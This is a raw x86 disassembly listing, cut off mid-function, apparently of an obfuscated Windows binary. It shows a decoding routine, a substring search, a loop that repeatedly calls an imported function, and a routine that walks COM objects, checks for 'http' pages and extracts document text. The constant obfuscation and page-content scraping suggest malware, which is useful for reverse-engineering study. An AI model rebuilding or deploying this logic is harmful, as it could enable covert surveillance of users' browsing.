		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		add	eax, ebx
		mov	[ebp+var_4], eax
		mov	edi, [ebp+arg_0]
		jmp	loc_438486
; ---------------------------------------------------------------------------


loc_43837C:				; CODE XREF: sub_438348+146j
		movsx	edx, byte ptr [edi]
		shl	edx, 2
		mov	esi, dword_44A3B8[edx]
		mov	eax, dword_44A090
		movsx	edx, word_44A0E0
		add	eax, edx
		sub	eax, 3
		neg	eax
		cmp	esi, eax
		jz	loc_438485
		mov	eax, [ebp+var_8]
		or	eax, eax
		jl	loc_438482
		cmp	eax, 3
		jg	loc_438482
		jmp	off_44A7B8[eax*4]


loc_4383BF:				; DATA XREF: .data:off_44A7B8o
		inc	[ebp+var_8]
		jmp	loc_438482
; ---------------------------------------------------------------------------


loc_4383C7:				; CODE XREF: sub_438348+70j
					; DATA XREF: .data:0044A7BCo
		mov	edx, [ebp+var_C]
		mov	ecx, dword_44A158
		add	ecx, dword_44A0A8
		sub	ecx, 0Dh
		mov	eax, edx
		shl	eax, cl
		mov	[ebp+var_18], eax
		mov	edx, esi
		and	edx, 30h
		mov	ecx, dword_44A278
		movsx	eax, word_44A170
		add	ecx, eax
		mov	eax, edx
		sar	eax, cl
		mov	edx, [ebp+var_18]
		or	edx, eax
		mov	[ebp+var_D], dl
		mov	eax, ebx
		inc	ebx
		mov	dl, [ebp+var_D]
		mov	[eax], dl
		inc	[ebp+var_8]
		jmp	short loc_438482
; ---------------------------------------------------------------------------


loc_43840D:				; CODE XREF: sub_438348+70j
					; DATA XREF: .data:0044A7C0o
		mov	edx, [ebp+var_C]
		and	edx, 0Fh
		movsx	ecx, word_44A1A4
		sub	ecx, 3
		mov	eax, edx
		shl	eax, cl
		mov	[ebp+var_1C], eax
		mov	edx, esi
		and	edx, 3Ch
		mov	ecx, dword_44A134
		sub	ecx, 6
		mov	eax, edx
		sar	eax, cl
		mov	edx, [ebp+var_1C]
		or	edx, eax
		mov	[ebp+var_D], dl
		mov	eax, ebx
		inc	ebx
		mov	dl, [ebp+var_D]
		mov	[eax], dl
		inc	[ebp+var_8]
		jmp	short loc_438482
; ---------------------------------------------------------------------------


loc_43844B:				; CODE XREF: sub_438348+70j
					; DATA XREF: .data:0044A7C4o
		mov	edx, [ebp+var_C]
		and	edx, 3
		movsx	ecx, word_44A208
		inc	ecx
		mov	eax, edx
		shl	eax, cl
		mov	edx, eax
		or	edx, esi
		mov	[ebp+var_D], dl
		mov	eax, ebx
		inc	ebx
		mov	dl, [ebp+var_D]
		mov	[eax], dl
		movsx	eax, word_44A144
		movsx	edx, word_44A1DC
		add	eax, edx
		sub	eax, 7
		mov	[ebp+var_8], eax


loc_438482:				; CODE XREF: sub_438348+61j
					; sub_438348+6Aj ...
		mov	[ebp+var_C], esi


loc_438485:				; CODE XREF: sub_438348+56j
		inc	edi


loc_438486:				; CODE XREF: sub_438348+2Fj
		cmp	byte ptr [edi],	0
		jz	short loc_438494
		cmp	ebx, [ebp+var_4]
		jb	loc_43837C


loc_438494:				; CODE XREF: sub_438348+141j
		cmp	byte ptr [edi],	0
		jnz	short loc_4384A0
		mov	eax, ebx
		sub	eax, [ebp+arg_4]
		jmp	short loc_4384B0
; ---------------------------------------------------------------------------


loc_4384A0:				; CODE XREF: sub_438348+14Fj
		mov	eax, dword_44A0E4
		add	eax, dword_44A090
		sub	eax, 0Bh
		neg	eax


loc_4384B0:				; CODE XREF: sub_438348+156j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_438348	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4384B5	proc near		; CODE XREF: sub_43858C+68Ap
					; sub_4393B1+EFp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_8], 0
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_4384CA:				; CODE XREF: sub_4384B5+1Aj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4384CA
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		lea	ecx, [eax]
		or	eax, 0FFFFFFFFh


loc_4384DC:				; CODE XREF: sub_4384B5+2Cj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4384DC
		mov	esi, eax
		movsx	eax, word_44A118
		sub	eax, 3
		mov	[ebp+var_4], eax
		jmp	short loc_43854D
; ---------------------------------------------------------------------------


loc_4384F4:				; CODE XREF: sub_4384B5+9Ej
		mov	eax, dword_44A184
		movsx	edx, word_44A100
		mov	ebx, eax
		add	ebx, edx
		sub	ebx, 5
		mov	eax, dword_44A1C8
		mov	edi, eax
		add	edi, dword_44A13C
		sub	edi, 3
		jmp	short loc_438546
; ---------------------------------------------------------------------------


loc_438519:				; CODE XREF: sub_4384B5+93j
		mov	eax, [ebp+var_4]
		add	eax, edi
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx+eax]
		mov	edx, [ebp+arg_4]
		movsx	edx, byte ptr [edx+edi]
		cmp	eax, edx
		jnz	short loc_43854A
		inc	ebx
		cmp	ebx, esi
		jnz	short loc_438545
		inc	[ebp+var_8]
		mov	eax, [ebp+arg_8]
		cmp	[ebp+var_8], eax
		jnz	short loc_438545
		mov	eax, [ebp+var_4]
		jmp	short loc_43855A
; ---------------------------------------------------------------------------


loc_438545:				; CODE XREF: sub_4384B5+7Ej
					; sub_4384B5+89j
		inc	edi


loc_438546:				; CODE XREF: sub_4384B5+62j
		cmp	edi, esi
		jb	short loc_438519


loc_43854A:				; CODE XREF: sub_4384B5+79j
		inc	[ebp+var_4]


loc_43854D:				; CODE XREF: sub_4384B5+3Dj
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_4], eax
		jb	short loc_4384F4
		mov	eax, 0FFFFh


loc_43855A:				; CODE XREF: sub_4384B5+8Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4384B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_43855F	proc near		; DATA XREF: sub_439B7B+145o
		push	ebp
		mov	ebp, esp


loc_438562:				; CODE XREF: sub_43855F+27j
		call	sub_43C073
		mov	eax, dword_44A18C
		add	eax, 2
		mov	edx, dword_44A280
		add	edx, 0EA5Ch
		imul	eax, edx
		push	eax
		call	ds:dword_449630
		pop	ecx
		jmp	short loc_438562
sub_43855F	endp

; ---------------------------------------------------------------------------
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43858C	proc near		; CODE XREF: sub_440EE8+29p

var_71F10	= dword	ptr -71F10h
var_71F0C	= dword	ptr -71F0Ch
var_71F07	= byte ptr -71F07h
var_70F08	= word ptr -70F08h
var_70F00	= dword	ptr -70F00h
var_70EF9	= byte ptr -70EF9h
var_70EF8	= dword	ptr -70EF8h
var_70EF4	= dword	ptr -70EF4h
var_70EEF	= byte ptr -70EEFh
var_60EF0	= word ptr -60EF0h
var_60EE8	= dword	ptr -60EE8h
var_60EDD	= byte ptr -60EDDh
var_60EDC	= dword	ptr -60EDCh
var_60ED8	= dword	ptr -60ED8h
var_60ED4	= dword	ptr -60ED4h
var_60ED0	= word ptr -60ED0h
var_60EC8	= dword	ptr -60EC8h
var_60EC0	= dword	ptr -60EC0h
var_60EBC	= dword	ptr -60EBCh
var_60EB8	= dword	ptr -60EB8h
var_60EB4	= dword	ptr -60EB4h
var_60EB0	= dword	ptr -60EB0h
var_60EAC	= dword	ptr -60EACh
var_60EA8	= dword	ptr -60EA8h
var_60EA4	= dword	ptr -60EA4h
var_60E9F	= byte ptr -60E9Fh
var_50E9D	= byte ptr -50E9Dh
var_50E9B	= byte ptr -50E9Bh
var_40EB8	= byte ptr -40EB8h
var_40EB0	= dword	ptr -40EB0h
var_40EA8	= word ptr -40EA8h
var_40EA0	= dword	ptr -40EA0h
var_40E9C	= dword	ptr -40E9Ch
var_40E98	= dword	ptr -40E98h
var_40E94	= byte ptr -40E94h
var_40E90	= dword	ptr -40E90h
var_40E8C	= dword	ptr -40E8Ch
var_40E88	= dword	ptr -40E88h
var_40E84	= dword	ptr -40E84h
var_40E80	= byte ptr -40E80h
var_40E78	= dword	ptr -40E78h
var_40E70	= dword	ptr -40E70h
var_40E6C	= dword	ptr -40E6Ch
var_40E68	= dword	ptr -40E68h
var_40E64	= dword	ptr -40E64h
var_40E60	= dword	ptr -40E60h
var_40E5C	= dword	ptr -40E5Ch
var_40E57	= byte ptr -40E57h
var_40E56	= byte ptr -40E56h
var_40E55	= byte ptr -40E55h
var_40E54	= byte ptr -40E54h
var_30E58	= dword	ptr -30E58h
var_30E54	= dword	ptr -30E54h
var_30E50	= dword	ptr -30E50h
var_30E4C	= dword	ptr -30E4Ch
var_30E48	= dword	ptr -30E48h
var_30E44	= dword	ptr -30E44h
var_30E3F	= byte ptr -30E3Fh
var_30D40	= byte ptr -30D40h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 71F10h
		call	sub_442F6C
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_40E80]
		push	eax
		call	ds:dword_444038
		lea	eax, [ebp+var_40E94]
		push	eax
		lea	eax, [ebp+var_40E80]
		push	eax
		push	9
		movsx	eax, word_44A16C
		movsx	edx, word_44A180
		add	eax, edx
		sub	eax, 5
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_447254
		mov	ebx, eax
		movsx	eax, word_44A0C0
		movsx	edx, word_44A1B4
		add	eax, edx
		sub	eax, 6
		cmp	ebx, eax
		jnz	loc_439355
		mov	eax, [ebp+var_40E78]
		mov	[ebp+var_40E64], eax
		and	[ebp+var_40E60], 0
		lea	eax, [ebp+var_40E60]
		push	eax
		push	offset dword_44BAD8
		mov	eax, [ebp+var_40E64]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_44A26C
		sub	eax, 9
		cmp	ebx, eax
		jnz	loc_439355
		lea	eax, [ebp+var_40E84]
		push	eax
		mov	eax, [ebp+var_40E60]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+78h]
		mov	ebx, eax
		mov	eax, dword_44A224
		sub	eax, 5
		cmp	ebx, eax
		jnz	loc_439349
		lea	eax, [ebp+var_40E57]
		push	eax
		push	[ebp+var_40E84]
		call	sub_43C434
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_40E98], edi
		push	[ebp+var_40E84]
		call	ds:dword_449BA0
		cmp	[ebp+var_40E57], 68h
		jnz	short loc_4386A7
		cmp	[ebp+var_40E56], 74h
		jnz	short loc_4386A7
		cmp	[ebp+var_40E55], 74h
		jnz	short loc_4386A7
		cmp	[ebp+var_40E54], 70h
		jz	short loc_4386AC


loc_4386A7:				; CODE XREF: sub_43858C+FEj
					; sub_43858C+107j ...
		jmp	loc_439349
; ---------------------------------------------------------------------------


loc_4386AC:				; CODE XREF: sub_43858C+119j
		lea	eax, [ebp+var_30E4C]
		push	eax
		mov	eax, [ebp+var_40E60]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+94h]
		mov	ebx, eax
		mov	eax, dword_44A204
		add	eax, dword_44A0DC
		sub	eax, 4
		cmp	ebx, eax
		jz	short loc_4386DD
		and	[ebp+var_30E4C], 0


loc_4386DD:				; CODE XREF: sub_43858C+148j
		lea	eax, [ebp+var_40E68]
		push	eax
		mov	eax, [ebp+var_40E60]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+48h]
		mov	ebx, eax
		mov	eax, dword_44A28C
		add	eax, dword_44A274
		sub	eax, 7
		cmp	ebx, eax
		jnz	loc_439349
		lea	eax, [ebp+var_40E6C]
		push	eax
		push	offset dword_44BA58
		mov	eax, [ebp+var_40E68]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_44A268
		sub	eax, 4
		cmp	ebx, eax
		jnz	loc_43933D
		lea	eax, [ebp+var_40E70]
		push	eax
		mov	eax, [ebp+var_40E6C]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+5Ch]
		mov	ebx, eax
		mov	eax, dword_44A204
		dec	eax
		cmp	ebx, eax
		jnz	loc_439331
		lea	eax, [ebp+var_40E90]
		push	eax
		mov	eax, [ebp+var_40E70]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		movsx	eax, word_44A170
		sub	eax, 2
		cmp	ebx, eax
		jnz	loc_439325
		mov	eax, dword_44A128
		sub	eax, 8
		neg	eax
		mov	[ebp+var_40E5C], eax
		push	offset dword_44B9A0
		call	sub_43F767
		push	eax
		call	ds:dword_444044
		mov	[ebp+var_30E44], eax
		push	offset dword_44B990
		call	sub_43F767
		add	esp, 8
		push	eax
		call	ds:dword_444044
		mov	[ebp+var_30E48], eax
		lea	eax, [ebp+var_40E57]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	sub_442F8C


loc_4387D4:				; CODE XREF: sub_43858C+D6Dj
		and	[ebp+var_40E88], 0
		and	[ebp+var_40E8C], 0
		mov	eax, dword_44A194
		sub	eax, 8
		neg	eax
		cmp	[ebp+var_40E5C], eax
		jnz	short loc_43883F
		lea	eax, [ebp+var_30E54]
		push	eax
		mov	eax, [ebp+var_40E6C]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+38h]
		mov	ebx, eax
		mov	eax, dword_44A1D0
		add	eax, dword_44A284
		sub	eax, 10h
		cmp	ebx, eax
		jnz	loc_4392E7
		push	offset byte_44B981
		call	sub_43C507
		push	eax
		lea	edi, [ebp+var_30D40]
		push	edi
		call	ds:dword_444020
		add	esp, 0Ch
		jmp	loc_438947
; ---------------------------------------------------------------------------


loc_43883F:				; CODE XREF: sub_43858C+266j
		mov	[ebp+var_40EA8], 17h
		mov	eax, [ebp+var_40E5C]
		mov	[ebp+var_40EA0], eax
		lea	eax, [ebp+var_40EB8]
		push	eax
		lea	eax, [ebp+var_40EA8]
		push	eax
		mov	eax, [ebp+var_40E70]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+1Ch]
		lea	eax, [ebp+var_40E88]
		push	eax
		push	offset dword_44BAA8
		push	[ebp+var_40EB0]
		mov	edi, [ebp+var_40EB0]
		mov	edi, [edi]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_44A1E8
		dec	eax
		cmp	ebx, eax
		jnz	loc_4392E7
		lea	eax, [ebp+var_40E8C]
		push	eax
		mov	eax, [ebp+var_40E88]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0D0h]
		mov	ebx, eax
		mov	eax, dword_44A0B4
		sub	eax, 8
		cmp	ebx, eax
		jz	short loc_4388D4
		mov	eax, [ebp+var_40E88]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		jmp	loc_4392E7
; ---------------------------------------------------------------------------


loc_4388D4:				; CODE XREF: sub_43858C+335j
		lea	eax, [ebp+var_30E54]
		push	eax
		mov	eax, [ebp+var_40E8C]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+38h]
		mov	ebx, eax
		mov	eax, dword_44A21C
		sub	eax, 8
		cmp	ebx, eax
		jz	short loc_438912
		mov	eax, [ebp+var_40E8C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	eax, [ebp+var_40E88]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		jmp	loc_4392E7
; ---------------------------------------------------------------------------


loc_438912:				; CODE XREF: sub_43858C+367j
		push	offset word_44B972
		call	sub_43C507
		push	[ebp+var_40E5C]
		push	eax
		lea	edi, [ebp+var_30E3F]
		push	edi
		call	ds:dword_449634
		lea	eax, [ebp+var_30E3F]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_444020
		add	esp, 18h


loc_438947:				; CODE XREF: sub_43858C+2AEj
		lea	eax, [ebp+var_30E58]
		push	eax
		mov	eax, [ebp+var_30E54]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+24h]
		mov	ebx, eax
		mov	eax, dword_44A268
		sub	eax, 4
		cmp	ebx, eax
		jnz	loc_4392E7
		movsx	eax, word_44A240
		movsx	edx, word_44A0CC
		add	eax, edx
		sub	eax, 9
		mov	[ebp+var_30E50], eax
		jmp	loc_4392D5
; ---------------------------------------------------------------------------


loc_43898A:				; CODE XREF: sub_43858C+D55j
		mov	[ebp+var_60ED0], 2
		mov	eax, [ebp+var_30E50]
		mov	[ebp+var_60EC8], eax
		movsx	eax, word_44A0C0
		mov	edx, dword_44A14C
		sub	edx, 6
		mov	[ebp+eax+var_50E9D], dl
		lea	eax, [ebp+var_60EC0]
		push	eax
		lea	esi, [ebp+var_60ED0]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_60ED0]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_30E54]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+2Ch]
		mov	ebx, eax
		movsx	eax, word_44A180
		sub	eax, 4
		cmp	ebx, eax
		jnz	loc_4392CF
		push	offset dword_44B964
		call	sub_43C507
		push	[ebp+var_30E50]
		push	eax
		lea	edi, [ebp+var_30E3F]
		push	edi
		call	ds:dword_449634
		lea	eax, [ebp+var_30E3F]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_444020
		add	esp, 18h
		and	[ebp+var_60ED4], 0
		lea	eax, [ebp+var_60ED4]
		push	eax
		push	offset dword_44BA78
		mov	eax, [ebp+var_60EC0]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_44A224
		sub	eax, 5
		cmp	ebx, eax
		jnz	loc_438F54
		lea	eax, [ebp+var_60ED8]
		push	eax
		mov	eax, [ebp+var_60ED4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0F0h]
		mov	ebx, eax
		cmp	ebx, dword_44A138
		jnz	loc_438F48
		lea	eax, [ebp+var_60E9F]
		push	eax
		push	[ebp+var_60ED8]
		call	sub_43C434
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_60EB8], edi
		push	[ebp+var_60ED8]
		call	ds:dword_449BA0
		movsx	eax, word_44A230
		sub	eax, 6
		mov	[ebp+var_40E9C], eax
		jmp	short loc_438B17
; ---------------------------------------------------------------------------


loc_438ACB:				; CODE XREF: sub_43858C+597j
		mov	eax, [ebp+var_40E9C]
		movsx	eax, [ebp+eax+var_60E9F]
		movsx	edx, word_44A104
		add	edx, 5
		cmp	eax, edx
		jz	short loc_438AF5
		movsx	edx, word_44A130
		add	edx, 7
		cmp	eax, edx
		jnz	short loc_438B11


loc_438AF5:				; CODE XREF: sub_43858C+559j
		mov	eax, [ebp+var_40E9C]
		mov	edx, dword_44A25C
		add	edx, dword_44A1D8
		sub	edx, 11h
		mov	[ebp+eax+var_60E9F], dl


loc_438B11:				; CODE XREF: sub_43858C+567j
		inc	[ebp+var_40E9C]


loc_438B17:				; CODE XREF: sub_43858C+53Dj
		mov	eax, [ebp+var_60EB8]
		cmp	[ebp+var_40E9C], eax
		jb	short loc_438ACB
		lea	eax, [ebp+var_60E9F]
		push	eax
		lea	eax, [ebp+var_50E9B]
		push	eax
		call	sub_442F8C
		mov	eax, dword_44A148
		sub	eax, 2
		mov	[ebp+var_40E9C], eax


loc_438B46:				; CODE XREF: sub_43858C+70Dj
		mov	eax, [ebp+var_40E9C]
		lea	ecx, [ebp+eax+var_60E9F]
		or	eax, 0FFFFFFFFh


loc_438B56:				; CODE XREF: sub_43858C+5CFj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_438B56
		mov	[ebp+var_60EA8], eax
		mov	edx, dword_44A184
		add	edx, dword_44A188
		sub	edx, 2
		cmp	eax, edx
		jz	short loc_438B8E
		movsx	edx, word_44A130
		mov	ecx, dword_44A13C
		lea	edx, [edx+ecx+0C2h]
		cmp	eax, edx
		jbe	short loc_438B93


loc_438B8E:				; CODE XREF: sub_43858C+5E8j
		jmp	loc_438C6C
; ---------------------------------------------------------------------------


loc_438B93:				; CODE XREF: sub_43858C+600j
		mov	eax, dword_44A1B0
		sub	eax, 7
		mov	[ebp+var_60EA4], eax
		jmp	short loc_438BD3
; ---------------------------------------------------------------------------


loc_438BA3:				; CODE XREF: sub_43858C+653j
		mov	eax, [ebp+var_40E9C]
		add	eax, [ebp+var_60EA4]
		movsx	eax, [ebp+eax+var_60E9F]
		mov	edx, dword_44A13C
		add	edx, 17h
		movsx	ecx, word_44A144
		add	edx, ecx
		cmp	eax, edx
		jnz	short loc_438BE1
		inc	[ebp+var_60EA4]


loc_438BD3:				; CODE XREF: sub_43858C+615j
		mov	eax, [ebp+var_60EA8]
		cmp	[ebp+var_60EA4], eax
		jb	short loc_438BA3


loc_438BE1:				; CODE XREF: sub_43858C+63Fj
		mov	eax, [ebp+var_60EA8]
		cmp	[ebp+var_60EA4], eax
		jz	short loc_438C6C
		mov	eax, dword_44A1A8
		movsx	edx, word_44A218
		add	eax, edx
		sub	eax, 6
		push	eax
		mov	eax, [ebp+var_40E9C]
		lea	eax, [ebp+eax+var_60E9F]
		push	eax
		lea	eax, [ebp+var_50E9B]
		push	eax
		call	sub_4384B5
		add	esp, 0Ch
		mov	[ebp+var_60EDC], eax
		mov	eax, dword_44A154
		add	eax, 0FFF8h
		cmp	[ebp+var_60EDC], eax
		jnz	short loc_438C6C
		push	offset byte_44B95F
		call	sub_43C507
		push	eax
		lea	edi, [ebp+var_50E9B]
		push	edi
		call	ds:dword_444020
		mov	eax, [ebp+var_40E9C]
		lea	eax, [ebp+eax+var_60E9F]
		push	eax
		lea	eax, [ebp+var_50E9B]
		push	eax
		call	ds:dword_444020
		add	esp, 14h


loc_438C6C:				; CODE XREF: sub_43858C:loc_438B8Ej
					; sub_43858C+661j ...
		mov	eax, [ebp+var_60EA8]
		movsx	edx, word_44A1E0
		movsx	ecx, word_44A1C0
		add	edx, ecx
		sub	edx, 6
		add	eax, edx
		add	[ebp+var_40E9C], eax
		mov	eax, [ebp+var_60EB8]
		cmp	[ebp+var_40E9C], eax
		jb	loc_438B46
		mov	eax, dword_44A28C
		sub	eax, 6
		mov	[ebp+var_60EB4], eax
		lea	ecx, [ebp+var_50E9B]
		or	eax, 0FFFFFFFFh


loc_438CB6:				; CODE XREF: sub_43858C+72Fj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_438CB6
		mov	[ebp+var_60EA8], eax
		mov	eax, dword_44A0AC
		add	eax, dword_44A0F4
		sub	eax, 8
		mov	[ebp+var_40E9C], eax
		jmp	loc_438F1A
; ---------------------------------------------------------------------------


loc_438CDC:				; CODE XREF: sub_43858C+99Aj
		mov	eax, [ebp+var_40E9C]
		movzx	eax, [ebp+eax+var_50E9B]
		mov	edx, dword_44A254
		add	edx, 17h
		add	edx, dword_44A168
		cmp	eax, edx
		jz	short loc_438D04
		and	[ebp+var_60EAC], 0


loc_438D04:				; CODE XREF: sub_43858C+76Fj
		mov	eax, [ebp+var_40E9C]
		movzx	eax, [ebp+eax+var_50E9B]
		mov	edx, dword_44A1C4
		add	edx, 13h
		movsx	ecx, word_44A150
		add	edx, ecx
		cmp	eax, edx
		jnz	loc_438EC6
		movsx	eax, word_44A230
		movsx	edx, word_44A124
		add	eax, edx
		sub	eax, 0Ch
		cmp	[ebp+var_40E9C], eax
		jbe	loc_438DFC
		mov	eax, [ebp+var_40E9C]
		mov	edx, dword_44A1B8
		add	edx, dword_44A25C
		sub	edx, 0Ch
		sub	eax, edx
		mov	al, [ebp+eax+var_50E9B]
		mov	[ebp+var_60EDD], al
		movzx	eax, [ebp+var_60EDD]
		mov	edx, dword_44A1A0
		add	edx, 1Dh
		cmp	eax, edx
		jle	short loc_438D98
		movsx	edx, word_44A240
		mov	ecx, dword_44A224
		lea	edx, [edx+ecx+29h]
		cmp	eax, edx
		jl	short loc_438DF2


loc_438D98:				; CODE XREF: sub_43858C+7F5j
		movzx	eax, [ebp+var_60EDD]
		mov	edx, dword_44A164
		add	edx, 35h
		add	edx, dword_44A168
		cmp	eax, edx
		jle	short loc_438DC0
		movsx	edx, word_44A260
		add	edx, 3Fh
		cmp	eax, edx
		jl	short loc_438DF2


loc_438DC0:				; CODE XREF: sub_43858C+824j
		movzx	eax, [ebp+var_60EDD]
		movsx	edx, word_44A1A4
		mov	ecx, dword_44A1E4
		lea	edx, [edx+ecx+6Fh]
		cmp	eax, edx
		jle	short loc_438DFC
		mov	edx, dword_44A138
		add	edx, 76h
		movsx	ecx, word_44A24C
		add	edx, ecx
		cmp	eax, edx
		jge	short loc_438DFC


loc_438DF2:				; CODE XREF: sub_43858C+80Aj
					; sub_43858C+832j
		mov	[ebp+var_60EAC], 1


loc_438DFC:				; CODE XREF: sub_43858C+7B9j
					; sub_43858C+84Ej ...
		mov	eax, [ebp+var_60EA8]
		cmp	[ebp+var_40E9C], eax
		jnb	loc_438EC6
		mov	eax, [ebp+var_40E9C]
		movsx	edx, word_44A240
		add	edx, dword_44A200
		sub	edx, 6
		add	eax, edx
		mov	al, [ebp+eax+var_50E9B]
		mov	[ebp+var_60EDD], al
		movzx	eax, [ebp+var_60EDD]
		mov	edx, dword_44A21C
		add	edx, 0Fh
		add	edx, dword_44A128
		cmp	eax, edx
		jle	short loc_438E60
		mov	edx, dword_44A0D4
		add	edx, 26h
		add	edx, dword_44A270
		cmp	eax, edx
		jl	short loc_438EBC


loc_438E60:				; CODE XREF: sub_43858C+8BFj
		movzx	eax, [ebp+var_60EDD]
		mov	edx, dword_44A17C
		add	edx, 31h
		movsx	ecx, word_44A100
		add	edx, ecx
		cmp	eax, edx
		jle	short loc_438E92
		movsx	edx, word_44A174
		mov	ecx, dword_44A1A8
		lea	edx, [edx+ecx+38h]
		cmp	eax, edx
		jl	short loc_438EBC


loc_438E92:				; CODE XREF: sub_43858C+8EFj
		movzx	eax, [ebp+var_60EDD]
		mov	edx, dword_44A0A0
		add	edx, 74h
		movsx	ecx, word_44A098
		add	edx, ecx
		cmp	eax, edx
		jle	short loc_438EC6
		mov	edx, dword_44A200
		add	edx, 7Ah
		cmp	eax, edx
		jge	short loc_438EC6


loc_438EBC:				; CODE XREF: sub_43858C+8D2j
					; sub_43858C+904j
		mov	[ebp+var_60EAC], 1


loc_438EC6:				; CODE XREF: sub_43858C+79Aj
					; sub_43858C+87Cj ...
		cmp	[ebp+var_60EAC], 0
		jnz	short loc_438EEF
		mov	eax, [ebp+var_60EB4]
		mov	edx, [ebp+var_40E9C]
		mov	dl, [ebp+edx+var_50E9B]
		mov	[ebp+eax+var_50E9B], dl
		inc	[ebp+var_60EB4]


loc_438EEF:				; CODE XREF: sub_43858C+941j
		mov	eax, [ebp+var_40E9C]
		movzx	eax, [ebp+eax+var_50E9B]
		mov	edx, dword_44A1CC
		add	edx, 1Ah
		cmp	eax, edx
		jnz	short loc_438F14
		mov	[ebp+var_60EAC], 1


loc_438F14:				; CODE XREF: sub_43858C+97Cj
		inc	[ebp+var_40E9C]


loc_438F1A:				; CODE XREF: sub_43858C+74Bj
		mov	eax, [ebp+var_60EA8]
		cmp	[ebp+var_40E9C], eax
		jb	loc_438CDC
		mov	eax, [ebp+var_60EB4]
		mov	edx, dword_44A0F4
		add	edx, dword_44A138
		sub	edx, 7
		mov	[ebp+eax+var_50E9B], dl


loc_438F48:				; CODE XREF: sub_43858C+4FDj
		mov	eax, [ebp+var_60ED4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_438F54:				; CODE XREF: sub_43858C+4D9j
		and	[ebp+var_60EB0], 0
		lea	eax, [ebp+var_60EB0]
		push	eax
		push	offset dword_44BA88
		mov	eax, [ebp+var_60EC0]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_44A158
		sub	eax, 9
		cmp	ebx, eax
		jnz	loc_439268
		lea	eax, [ebp+var_60EBC]
		push	eax
		mov	eax, [ebp+var_60EB0]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+6Ch]
		mov	ebx, eax
		movsx	eax, word_44A174
		movsx	edx, word_44A264
		add	eax, edx
		sub	eax, 10h
		cmp	ebx, eax
		jnz	loc_43925C
		mov	eax, dword_44A0AC
		dec	eax
		mov	[ebp-50EA0h], eax
		jmp	loc_43924A
; ---------------------------------------------------------------------------


loc_438FCA:				; CODE XREF: sub_43858C+CCAj
		mov	eax, dword_44A1AC
		sub	eax, 5
		push	eax
		call	ds:dword_449630
		pop	ecx
		mov	[ebp+var_70F08], 2
		mov	eax, [ebp-50EA0h]
		mov	[ebp+var_70F00], eax
		lea	eax, [ebp+var_70EF8]
		push	eax
		lea	esi, [ebp+var_70F08]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_70F08]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_60EB0]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+74h]
		mov	ebx, eax
		mov	eax, dword_44A1E8
		movsx	edx, word_44A150
		add	eax, edx
		sub	eax, 9
		cmp	ebx, eax
		jnz	loc_439244
		and	[ebp+var_70EF4], 0
		lea	eax, [ebp+var_70EF4]
		push	eax
		push	offset dword_44BA78
		mov	eax, [ebp+var_70EF8]
		push	eax
		mov	edi, [eax]
